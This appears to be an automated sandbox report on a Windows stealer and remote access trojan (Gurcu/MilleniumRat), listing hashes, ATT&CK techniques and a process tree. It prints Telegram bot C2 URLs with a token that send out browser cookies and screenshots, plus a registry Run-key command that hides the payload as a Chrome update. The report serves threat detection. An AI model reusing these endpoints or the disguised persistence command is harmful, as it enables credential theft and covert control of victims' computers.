gurcu | 09736cb6459eb75e8ef0849cbde1e3f2daf5f32b3f8d2c9d04872d27b04e3180

General

Target

built5.exe
Size

5.6MB
MD5

af665ca613378a7baa5957873e44f012
SHA1

90b5fcd90fe41cbea206882278081ea22407a612
SHA256

09736cb6459eb75e8ef0849cbde1e3f2daf5f32b3f8d2c9d04872d27b04e3180
SHA512

da95438c6698f358f4919c067255ec7016fc76ec0872b5ee860f548f1d4ae851b7a6cd95fe678526f1e742dfef0e1d995cde40cae79231549ccaf8e7af2dbe75
SSDEEP

98304:/itl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Uc:/zOuK6mn9NzgMoYkSIvUcwti7TQlvciE

Score

10^/10

gurcu milleniumrat discovery persistence rat spyware stealer

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot8148978559:AAHyAO9EbSDcVmo-hjivSy2jb1M3VJ-Z2kU/sendDocument?chat_id=-4586442307&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot8148978559:AAHyAO9EbSDcVmo-hjivSy2jb1M3VJ-Z2kU/sendMessage?chat_id=-4586442307

https://api.telegram.org/bot8148978559:AAHyAO9EbSDcVmo-hjivSy2jb1M3VJ-Z2kU/getUpdates?offset=-

https://api.telegram.org/bot8148978559:AAHyAO9EbSDcVmo-hjivSy2jb1M3VJ-Z2kU/sendDocument?chat_id=-4586442307&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
rat stealer milleniumrat
Milleniumrat family
milleniumrat

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Update.exebuilt5.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	Update.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	built5.exe

Executes dropped EXE 1 IoCs

Processes:

Update.exe

pid process

2684 Update.exe
Loads dropped DLL 2 IoCs

Processes:

built5.exeUpdate.exe

pid process

3608 built5.exe
2684 Update.exe
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

pid	process
2684	Update.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLog\\Update.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

11 raw.githubusercontent.com
12 raw.githubusercontent.com
22 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

4 ip-api.com
Enumerates processes with tasklist 1 TTPs 1 IoCs
discovery

Process Discovery
T1057

Processes:

tasklist.exe

pid process

3272 tasklist.exe
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
11	raw.githubusercontent.com
12	raw.githubusercontent.com
22	raw.githubusercontent.com

flow	ioc
4	ip-api.com

pid	process
3272	tasklist.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Update.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Update.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2132 timeout.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2492 reg.exe

pid	process
2132	timeout.exe

pid	process
2492	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

built5.exeUpdate.exe

pid	process
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
3608	built5.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe
2684	Update.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

built5.exetasklist.exeUpdate.exe

description pid process

Token: SeDebugPrivilege 3608 built5.exe
Token: SeDebugPrivilege 3272 tasklist.exe
Token: SeDebugPrivilege 2684 Update.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Update.exe

pid process

2684 Update.exe

description	pid	process
Token: SeDebugPrivilege	3608	built5.exe
Token: SeDebugPrivilege	3272	tasklist.exe
Token: SeDebugPrivilege	2684	Update.exe

pid	process
2684	Update.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

built5.execmd.exeUpdate.execmd.exe

description	pid	process	target process
PID 3608 wrote to memory of 4500	3608	built5.exe	cmd.exe
PID 3608 wrote to memory of 4500	3608	built5.exe	cmd.exe
PID 4500 wrote to memory of 8	4500	cmd.exe	chcp.com
PID 4500 wrote to memory of 8	4500	cmd.exe	chcp.com
PID 4500 wrote to memory of 3272	4500	cmd.exe	tasklist.exe
PID 4500 wrote to memory of 3272	4500	cmd.exe	tasklist.exe
PID 4500 wrote to memory of 4940	4500	cmd.exe	find.exe
PID 4500 wrote to memory of 4940	4500	cmd.exe	find.exe
PID 4500 wrote to memory of 2132	4500	cmd.exe	timeout.exe
PID 4500 wrote to memory of 2132	4500	cmd.exe	timeout.exe
PID 4500 wrote to memory of 2684	4500	cmd.exe	Update.exe
PID 4500 wrote to memory of 2684	4500	cmd.exe	Update.exe
PID 2684 wrote to memory of 2704	2684	Update.exe	cmd.exe
PID 2684 wrote to memory of 2704	2684	Update.exe	cmd.exe
PID 2704 wrote to memory of 2492	2704	cmd.exe	reg.exe
PID 2704 wrote to memory of 2492	2704	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\built5.exe
"C:\Users\Admin\AppData\Local\Temp\built5.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpC9C8.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpC9C8.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4500
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:8
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 3608"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3272
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:4940
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2132
- - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
    "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2684
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2704
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:2492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

Process Discovery

Query Registry

System Information Discovery

3

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC9C8.tmp.bat

Filesize
286B

MD5
6eeab0d0b8f614536a999867c96d11cc

SHA1
db272d757954cab365c6052ee2e95ea3435c54a0

SHA256
7bb92ae5466d3be5ba2009e86653d419b1a63321098c53d544b910450456a26d

SHA512
28fced9130dcc9be376bbf7777d1eeae59647ac60682b71a8438f64e9d8e18771d909503320b9b13ff33e83235a5fa87155f425e09c24a1ffd4a3b0d69cad2e0

Download Submit
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe

Filesize
5.6MB

MD5
af665ca613378a7baa5957873e44f012

SHA1
90b5fcd90fe41cbea206882278081ea22407a612

SHA256
09736cb6459eb75e8ef0849cbde1e3f2daf5f32b3f8d2c9d04872d27b04e3180

SHA512
da95438c6698f358f4919c067255ec7016fc76ec0872b5ee860f548f1d4ae851b7a6cd95fe678526f1e742dfef0e1d995cde40cae79231549ccaf8e7af2dbe75

Download Submit
memory/2684-23-0x00000210E79F0000-0x00000210E7A40000-memory.dmp

Filesize
320KB

Download
memory/2684-24-0x00000210E7C40000-0x00000210E7C62000-memory.dmp

Filesize
136KB

Download
memory/2684-47-0x00000210E7CD0000-0x00000210E7CE2000-memory.dmp

Filesize
72KB

Download
memory/2684-28-0x00000210E89E0000-0x00000210E8D0E000-memory.dmp

Filesize
3.2MB

Download
memory/2684-27-0x00000210E79A0000-0x00000210E79C6000-memory.dmp

Filesize
152KB

Download
memory/2684-26-0x00000210E7C70000-0x00000210E7CAA000-memory.dmp

Filesize
232KB

Download
memory/2684-22-0x00000210E78F0000-0x00000210E79A2000-memory.dmp

Filesize
712KB

Download
memory/2684-20-0x00000210E7880000-0x00000210E78EA000-memory.dmp

Filesize
424KB

Download
memory/3608-1-0x000001A101C00000-0x000001A1021A2000-memory.dmp

Filesize
5.6MB

Download
memory/3608-0-0x00007FFD7FAC3000-0x00007FFD7FAC5000-memory.dmp

Filesize
8KB

Download
memory/3608-7-0x00007FFD7FAC0000-0x00007FFD80581000-memory.dmp

Filesize
10.8MB

Download
memory/3608-6-0x000001A11C690000-0x000001A11C706000-memory.dmp

Filesize
472KB

Download
memory/3608-13-0x00007FFD7FAC0000-0x00007FFD80581000-memory.dmp

Filesize
10.8MB

Download
memory/3608-9-0x000001A103DA0000-0x000001A103DAA000-memory.dmp

Filesize
40KB

Download
memory/3608-8-0x000001A103DC0000-0x000001A103DDE000-memory.dmp

Filesize
120KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads